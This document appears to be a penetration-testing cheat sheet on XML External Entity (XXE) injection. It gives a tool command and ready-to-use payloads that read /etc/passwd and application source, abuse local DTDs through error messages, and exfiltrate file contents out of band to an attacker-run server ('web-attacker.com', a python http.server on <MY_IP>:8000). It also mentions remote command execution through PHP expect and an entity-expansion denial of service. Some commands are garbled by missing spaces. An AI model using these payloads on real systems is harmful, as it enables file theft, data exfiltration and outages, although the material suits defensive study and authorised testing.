It occurs when XML data is taken from user-controlled input without properly sanitizing or securely parsing it, which could allow the user to use XML functionality to perform malicious actions.
ruby XXEinjector.rb --host=<TARGET> --httpport=<PORT> --path=<FILE_TO_READ> --file=<REQ_BURP> --oob=http --phpfilter
Take the BurpSuite REQ and enter XXEINJECTas the DTD.
Display the outputs in /Logs/<IP>/<PATH_FILE>
DTD (Document Type Definition)
Defines a structure with which to validate the XML document.
The DTD can be defined in the document itself (immediately after the first line) or in an external file, and then referenced within the XML document with the SYSTEM keyword.
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE <name> SYSTEM "email.dtd">
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE email SYSTEM "http://<DOMAIN>/<DTD>">
Entities
It is possible to define custom entities (XML variables) in XML DTDs. This can be done with the use of the ENTITY keyword, followed by the entity name and its value. To refer to an external defined entity use &<VARIABLE_NAME>;.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE <name> [
<!ENTITY varA "RANDOM">
<!ENTITY varB SYSTEM "file:///<PATH_FILE>">
<!ENTITY varC SYSTEM "http://<DOMAIN>/DTD">
]>
Use &varA; &varB; &varC;
Parameter Entities
XML parameter entities are a special kind of XML entity which can only be referenced elsewhere within the DTD.
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://web-attacker.com">
%xxe;
]>
Use %xxe;
Attacks
Read
If outdated XML libraries are used and no filtering or cleaning is applied on our XML input, we may be able to read local files.
Simple
<!DOCTYPE <field_name_display> [
<!ENTITY varX SYSTEM "file:///etc/passwd">
]>
Define varX then use it in the field that is displayed (&varX;)
PHP wrapper
Only with PHP web applications. If there are special XML characters in the file (such as <>& or binary) that would break the reference and not be used for the reference.
<!DOCTYPE <field_name_display> [
<!ENTITY varX SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>
CDATA
Other method to extract any type of data (including binary data) for any web application backend.
Use the CDATA tag: <![CDATA[ FILE_CONTENT ]]>
The XML parser considers this part as raw data.
NOTE
<!DOCTYPE <nome_campo_display> [ <!ENTITY begin "<![CDATA["> <!ENTITY file SYSTEM "file://<FILE>"> <!ENTITY end "]]>"> <!ENTITY joined "&begin;&file;&end;">]>
This will not work, since XML prevents merging internal and external entities.
To bypass use XML Parameter Entities, a special type of entity that begins with %.
The special thing about XML Parameter Entities is that if we refer to them from an external source (ex., our server), then they would all be considered external and could be merged.
xxe.dtd
<!ENTITY % begin "<![CDATA[">
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % end "]]>">
<!ENTITY % pwn "<!ENTITY content '%begin;%file;%end;'>">
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE avatar [ <!ENTITY varX SYSTEM "file:///etc/hostname">]><svgxmlns="http://www.w3.org/2000/svg"width="100"height="100"><textx="10"y="50"font-family="Arial"font-size="8"fill="black">&varX;</text></svg>
Error
This method does not require a field to be displayed, but it does require the web application to display runtime errors (e.g., PHP errors), as it does not have adequate exception handling for XML input. In that case, it is possible to use this flaw to read the output of the XXE exploit.
xxe.dtd
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
sudopython3-mhttp.server8000
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://<MY_IP>:8000/xxe.dtd">
%xxe;
]>
xxe.dtd
<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">
Suppose there is a DTD file on the server filesystem at the location /usr/local/app/schema.dtd, and this DTD file defines an entity called custom_entity.
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
To find a DDT file just use the following payload and see if it returns an error.
Systems typically always contain DTD files. Ex. linux GNOME desktop environment often have a DTD file at /usr/share/yelp/dtd/docbookx.dtd
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>
Since many common systems that include DTD files are open source, you can normally quickly obtain a copy of files through internet search and find an entity that you can redefine.
Blind
Allows you to exfiltrate data without any output fields and without error printing.
Try with /etc/hostname which has no newline characters.
xxe.dtd
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
sudopython3-mhttp.server8000
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://<MY_IP>:8000/xxe.dtd">
%xxe;
]>
xxe.dtd
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://<MY_IP>:8000/?content=%file;'>">
We can also execute remote code with XXE.
Require the PHP expect module to be installed and enabled.
Possible to execute commands and display the response in the displayed field or load a web shell on the server. (Beware of characters not allowed)
This payload defines entity a0 as DOS, refers to it several times with a1, then refers to a1 with a2, and so on until the memory of the back-end server runs out due to self-reference cycles.